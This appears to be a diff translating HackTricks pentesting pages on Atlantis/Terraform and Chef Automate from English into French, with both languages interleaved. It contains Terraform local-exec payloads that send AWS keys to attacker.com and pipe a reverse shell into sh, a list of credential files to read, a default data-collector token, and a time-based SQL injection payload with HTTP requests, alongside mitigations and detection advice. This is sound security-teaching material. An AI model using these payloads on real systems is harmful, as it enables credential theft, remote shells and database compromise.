#### Atlantis plan Secrets Dump
|
||||
|
||||
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
|
||||
#### Dump des secrets du plan Atlantis
|
||||
|
||||
Vous pouvez **dumper les secrets utilisés par terraform** en exécutant `atlantis plan` (`terraform plan`) en mettant quelque chose comme ceci dans le fichier terraform :
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis appliquer RCE - Modification de configuration dans une nouvelle PR
|
||||
|
||||
#### Atlantis apply RCE - Config modification in new PR
|
||||
Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez **exécuter `atlantis apply`, vous pourrez RCE à l'intérieur du serveur Atlantis**.
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
|
||||
Cependant, vous devrez généralement contourner certaines protections :
|
||||
|
||||
However, you will usually need to bypass some protections:
|
||||
|
||||
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
|
||||
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
|
||||
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
- **Mergeable** : Si cette protection est définie dans Atlantis, vous ne pouvez exécuter **`atlantis apply` que si la PR est mergeable** (ce qui signifie que la protection de branche doit être contournée).
|
||||
- Vérifiez les [**contournements potentiels des protections de branche**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approuvé** : Si cette protection est définie dans Atlantis, un **autre utilisateur doit approuver la PR** avant que vous puissiez exécuter `atlantis apply`
|
||||
- Par défaut, vous pouvez abuser du [**token Gitbot pour contourner cette protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Exécution de **`terraform apply` sur un fichier Terraform malveillant avec** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Vous devez simplement vous assurer qu'une charge utile comme les suivantes se termine dans le fichier `main.tf` :
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Suivez les **suggestions de la technique précédente** pour effectuer cette attaque de manière **plus discrète**.
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
|
||||
#### Injection de Paramètres Terraform
|
||||
|
||||
Lors de l'exécution de `atlantis plan` ou `atlantis apply`, terraform est exécuté en arrière-plan, vous pouvez passer des commandes à terraform depuis atlantis en commentant quelque chose comme :
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
Vous pouvez passer des variables d'environnement qui pourraient être utiles pour contourner certaines protections. Vérifiez les variables d'environnement terraform dans [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
#### Workflow personnalisé
|
||||
|
||||
#### Custom Workflow
|
||||
|
||||
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
This possibility was mentioned in a previous section:
|
||||
Exécution de **commandes de construction personnalisées malveillantes** spécifiées dans un fichier `atlantis.yaml`. Atlantis utilise le fichier `atlantis.yaml` de la branche de la demande de tirage, **pas** de `master`.\
|
||||
Cette possibilité a été mentionnée dans une section précédente :
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
> Si le drapeau [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est défini sur **True**, les workflows peuvent être **spécifiés** dans le fichier **`atlantis.yaml`** de chaque dépôt. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **remplacer le workflow** qui va être utilisé.
|
||||
>
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
> Cela donnera essentiellement **RCE sur le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -286,99 +272,97 @@ This possibility was mentioned in a previous section:
|
||||
> - run: my custom apply command
|
||||
> ```
|
||||
|
||||
#### Bypass plan/apply protections
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
#### Contourner les protections plan/apply
|
||||
|
||||
Si le drapeau [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _a_ `apply_requirements` configuré, il est possible pour un dépôt de **modifier les protections plan/apply pour les contourner**.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
|
||||
#### PR Hijacking
|
||||
|
||||
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
|
||||
Si quelqu'un envoie des **`atlantis plan/apply` commentaires sur vos pull requests valides,** cela fera en sorte que terraform s'exécute quand vous ne le souhaitez pas.
|
||||
|
||||
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
|
||||
De plus, si vous n'avez pas configuré dans la **protection de branche** pour demander une **réévaluation** de chaque PR lorsqu'un **nouveau commit est poussé** dessus, quelqu'un pourrait **écrire des configurations malveillantes** (voir les scénarios précédents) dans la configuration terraform, exécuter `atlantis plan/apply` et obtenir RCE.
|
||||
|
||||
This is the **setting** in Github branch protections:
|
||||
C'est le **paramètre** dans les protections de branche Github :
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
|
||||
Si vous parvenez à **voler le webhook secret** utilisé ou s'il **n'y a pas de webhook secret** utilisé, vous pourriez **appeler le webhook Atlantis** et **invoquer des commandes atlatis** directement.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
|
||||
Bitbucket Cloud ne **prend pas en charge les webhook secrets**. Cela pourrait permettre aux attaquants de **falsifier des requêtes depuis Bitbucket**. Assurez-vous de n'autoriser que les IPs de Bitbucket.
|
||||
|
||||
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
|
||||
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
|
||||
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
|
||||
- Cela signifie qu'un **attaquant** pourrait faire des **requêtes falsifiées à Atlantis** qui semblent provenir de Bitbucket.
|
||||
- Si vous spécifiez `--repo-allowlist`, alors ils ne pourraient falsifier que des requêtes concernant ces dépôts, donc le plus de dégâts qu'ils pourraient causer serait de planifier/appliquer sur vos propres dépôts.
|
||||
- Pour éviter cela, autorisez les [adresses IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (voir les adresses IPv4 sortantes).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
|
||||
Si vous avez réussi à accéder au serveur ou au moins à obtenir un LFI, il y a des choses intéressantes que vous devriez essayer de lire :
|
||||
|
||||
- `/home/atlantis/.git-credentials` Contains vcs access credentials
|
||||
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
|
||||
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env variables
|
||||
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
|
||||
- `/home/atlantis/.git-credentials` Contient les identifiants d'accès vcs
|
||||
- `/atlantis-data/atlantis.db` Contient les identifiants d'accès vcs avec plus d'infos
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Fichier d'état terraform
|
||||
- Exemple : /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Variables d'environnement
|
||||
- `/proc/[2-20]/cmdline` Ligne de commande de `atlantis server` (peut contenir des données sensibles)
|
||||
|
||||
### Mitigations
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
|
||||
Parce que n'importe qui peut commenter sur des pull requests publiques, même avec toutes les mitigations de sécurité disponibles, il est toujours dangereux d'exécuter Atlantis sur des dépôts publics sans une configuration appropriée des paramètres de sécurité.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
|
||||
Si vous exécutez sur un dépôt public (ce qui n'est pas recommandé, voir ci-dessus), vous ne devriez pas définir `--allow-fork-prs` (par défaut à false) car n'importe qui peut ouvrir une pull request depuis son fork vers votre dépôt.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
|
||||
Atlantis nécessite que vous spécifiiez une liste blanche de dépôts à partir desquels il acceptera des webhooks via le drapeau `--repo-allowlist`. Par exemple :
|
||||
|
||||
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
|
||||
- Dépôts spécifiques : `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Votre organisation entière : `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Chaque dépôt dans votre installation GitHub Enterprise : `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Tous les dépôts : `--repo-allowlist=*`. Utile lorsque vous êtes dans un réseau protégé mais dangereux sans également définir un webhook secret.
|
||||
|
||||
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
|
||||
Ce drapeau garantit que votre installation Atlantis n'est pas utilisée avec des dépôts que vous ne contrôlez pas. Voir `atlantis server --help` pour plus de détails.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
|
||||
Si des attaquants soumettent des pull requests avec du code Terraform malveillant dans votre modèle de menace, vous devez être conscient que les approbations `terraform apply` ne suffisent pas. Il est possible d'exécuter du code malveillant dans un `terraform plan` en utilisant la [`source de données externe`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou en spécifiant un fournisseur malveillant. Ce code pourrait alors exfiltrer vos identifiants.
|
||||
|
||||
To prevent this, you could:
|
||||
Pour éviter cela, vous pourriez :
|
||||
|
||||
1. Bake providers into the Atlantis image or host and deny egress in production.
|
||||
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
|
||||
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
|
||||
1. Intégrer les fournisseurs dans l'image Atlantis ou héberger et refuser l'egress en production.
|
||||
2. Mettre en œuvre le protocole de registre de fournisseurs en interne et refuser l'egress public, de cette façon vous contrôlez qui a un accès en écriture au registre.
|
||||
3. Modifier votre [configuration de dépôt côté serveur](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` étape pour valider l'utilisation de fournisseurs ou de sources de données non autorisés ou de PRs provenant d'utilisateurs non autorisés. Vous pourriez également ajouter une validation supplémentaire à ce stade, par exemple exiger un "pouce en l'air" sur la PR avant de permettre à la `plan` de continuer. Conftest pourrait être utile ici.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
|
||||
Atlantis doit être exécuté avec des secrets de webhook définis via les variables d'environnement `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Même avec le drapeau `--repo-allowlist` défini, sans un webhook secret, les attaquants pourraient faire des requêtes à Atlantis en se faisant passer pour un dépôt qui est sur la liste blanche. Les secrets de webhook garantissent que les requêtes webhook proviennent réellement de votre fournisseur VCS (GitHub ou GitLab).
|
||||
|
||||
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
|
||||
Si vous utilisez Azure DevOps, au lieu des secrets de webhook, ajoutez un nom d'utilisateur et un mot de passe de base.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
|
||||
Azure DevOps prend en charge l'envoi d'un en-tête d'authentification de base dans tous les événements de webhook. Cela nécessite d'utiliser une URL HTTPS pour votre emplacement de webhook.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
|
||||
Si vous utilisez des secrets de webhook mais que votre trafic est sur HTTP, alors les secrets de webhook pourraient être volés. Activez SSL/HTTPS en utilisant les drapeaux `--ssl-cert-file` et `--ssl-key-file`.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
|
||||
Il est fortement recommandé d'activer l'authentification dans le service web. Activez BasicAuth en utilisant `--web-basic-auth=true` et configurez un nom d'utilisateur et un mot de passe en utilisant les drapeaux `--web-username=yourUsername` et `--web-password=yourPassword`.
|
||||
|
||||
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
Vous pouvez également passer ces valeurs en tant que variables d'environnement `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` et `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
@@ -386,6 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# Chef Automate Security
|
||||
# Sécurité de Chef Automate
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Chef Automate
|
||||
## Qu'est-ce que Chef Automate
|
||||
|
||||
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
|
||||
Chef Automate est une plateforme pour l'automatisation de l'infrastructure, la conformité et la livraison d'applications. Il expose une interface web (souvent Angular) qui communique avec des services backend gRPC via un gRPC-Gateway, fournissant des endpoints de type REST sous des chemins tels que /api/v0/.
|
||||
|
||||
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
|
||||
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
|
||||
- Composants backend courants : gRPC services, PostgreSQL (souvent visible via les préfixes pq: error), data-collector ingest service
|
||||
- Mécanismes d'authentification : user/API tokens et un en-tête de token data collector x-data-collector-token
|
||||
|
||||
## Enumeration & Attacks
|
||||
|
||||
@@ -15,4 +15,4 @@ Chef Automate is a platform for infrastructure automation, compliance, and appli
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,82 +1,77 @@
|
||||
# Chef Automate Enumeration & Attacks
|
||||
# Chef Automate Énumération & Attaques
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
## Aperçu
|
||||
|
||||
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
|
||||
- Abusing the x-data-collector-token authentication header when defaults are present
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
|
||||
Cette page rassemble des techniques pratiques pour énumérer et attaquer des instances Chef Automate, avec un accent sur :
|
||||
- Découvrir les endpoints REST exposés via gRPC-Gateway et déduire les schémas de requête via les réponses de validation/erreur
|
||||
- Abuser l'en-tête d'authentification x-data-collector-token lorsque des valeurs par défaut sont présentes
|
||||
- Time-based blind SQL injection dans la Compliance API (CVE-2025-8868) affectant le champ filters[].type dans /api/v0/compliance/profiles/search
|
||||
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
> Note : Les réponses backend qui incluent l'en-tête grpc-metadata-content-type: application/grpc indiquent typiquement un gRPC-Gateway faisant le pont entre des appels REST et des services gRPC.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
## Recon : Architecture et empreintes
|
||||
|
||||
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
- Front-end : souvent Angular. Les bundles statiques peuvent donner des indices sur les chemins REST (p.ex., /api/v0/...)
|
||||
- API transport : REST vers gRPC via gRPC-Gateway
|
||||
- Les réponses peuvent inclure grpc-metadata-content-type: application/grpc
|
||||
- Empreintes base de données/driver :
|
||||
- Corps d'erreur commençant par pq: suggèrent fortement PostgreSQL avec le driver Go pq
|
||||
- Endpoints Compliance intéressants (auth requis) :
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
## Auth : Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
|
||||
Chef Automate expose un data collector qui authentifie les requêtes via un en-tête dédié :
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
- En-tête : x-data-collector-token
|
||||
- Risque : Certains environnements peuvent conserver un token par défaut donnant accès à des routes API protégées. Valeur par défaut connue observée en nature :
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
|
||||
S'il est présent, ce token peut être utilisé pour appeler des endpoints de la Compliance API normalement protégés par l'auth. Pensez toujours à remplacer/désactiver les valeurs par défaut lors du durcissement.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
## Inférence du schéma de l'API via la découverte guidée par les erreurs
|
||||
|
||||
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
|
||||
Les endpoints supportés par gRPC-Gateway often leak des erreurs de validation utiles qui décrivent le modèle de requête attendu.
|
||||
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
Pour /api/v0/compliance/profiles/search, le backend attend un body avec un tableau filters, où chaque élément est un objet contenant :
|
||||
|
||||
- type: string (filter field identifier)
|
||||
- values: array of strings
|
||||
- type : string (identifiant du champ de filtre)
|
||||
- values : array of strings
|
||||
|
||||
Example request shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
|
||||
Un JSON malformé ou des types de champs incorrects déclenchent typiquement des erreurs 4xx/5xx avec des indices, et les en-têtes indiquent le comportement du gRPC-Gateway. Utilisez ces éléments pour cartographier les champs et localiser les surfaces d'injection.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Affected endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Point de terminaison affecté: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Vulnerability class: time-based blind SQL injection in PostgreSQL
|
||||
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
|
||||
|
||||
Working time-based payload:
|
||||
- Classe de vulnérabilité: time-based blind SQL injection in PostgreSQL
|
||||
- Cause racine: manque de paramétrisation et de mise en liste blanche lors de l'interpolation du champ type dans un fragment SQL dynamique (probablement utilisé pour construire des identifiants/clauses WHERE). Les valeurs spécialement conçues dans type sont évaluées par PostgreSQL.
|
||||
|
||||
Exemple de payload time-based fonctionnel:
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Notes sur la technique :
|
||||
- Fermer la chaîne originale avec une apostrophe simple
|
||||
- Concaténer une sous-requête qui appelle pg_sleep(N)
|
||||
- Réintégrer le contexte de chaîne via || de sorte que le SQL final reste syntaxiquement valide, quel que soit l'endroit où type est inséré
|
||||
|
||||
Technique notes:
|
||||
- Close the original string with a single quote
|
||||
- Concatenate a subquery that calls pg_sleep(N)
|
||||
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
|
||||
### Preuve par latence différentielle
|
||||
|
||||
### Proof via differential latency
|
||||
|
||||
Send paired requests and compare response times to validate server-side execution:
|
||||
|
||||
- N = 1 second
|
||||
Envoyer des requêtes appariées et comparer les temps de réponse pour valider l'exécution côté serveur :
|
||||
|
||||
- N = 1 seconde
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -85,9 +80,7 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
- N = 5 seconds
|
||||
|
||||
- N = 5 secondes
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -96,16 +89,15 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
Observed behavior:
|
||||
- Response times scale with pg_sleep(N)
|
||||
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
|
||||
- Les temps de réponse augmentent proportionnellement à pg_sleep(N)
|
||||
- Les réponses HTTP 500 peuvent inclure des détails pq: lors du probing, confirmant l'exécution de chemins SQL
|
||||
|
||||
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
|
||||
> Tip: Utilisez un validateur de timing (par ex., plusieurs essais avec comparaison statistique) pour réduire le bruit et les faux positifs.
|
||||
|
||||
### Impact
|
||||
|
||||
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
|
||||
Les utilisateurs authentifiés — ou des acteurs non authentifiés abusant d'un x-data-collector-token par défaut — peuvent exécuter du SQL arbitraire dans le contexte PostgreSQL de Chef Automate, mettant en risque la confidentialité et l'intégrité des profils de conformité, de la configuration et de la télémétrie.
|
||||
|
||||
### Affected versions / Fix
|
||||
|
||||
@@ -115,29 +107,29 @@ Authenticated users—or unauthenticated actors abusing a default x-data-collect
|
||||
## Detection and Forensics
|
||||
|
||||
- API layer:
|
||||
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
|
||||
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
|
||||
- Surveiller les 500 sur /api/v0/compliance/profiles/search où filters[].type contient des quotes ('), de la concaténation (||) ou des références de fonction comme pg_sleep
|
||||
- Inspecter les en-têtes de réponse pour grpc-metadata-content-type afin d'identifier les flux gRPC-Gateway
|
||||
- Database layer (PostgreSQL):
|
||||
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
|
||||
- Auditer les appels à pg_sleep et les erreurs d'identifiant malformé (souvent affichées avec des préfixes pq: provenant du driver pq pour Go)
|
||||
- Authentication:
|
||||
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
|
||||
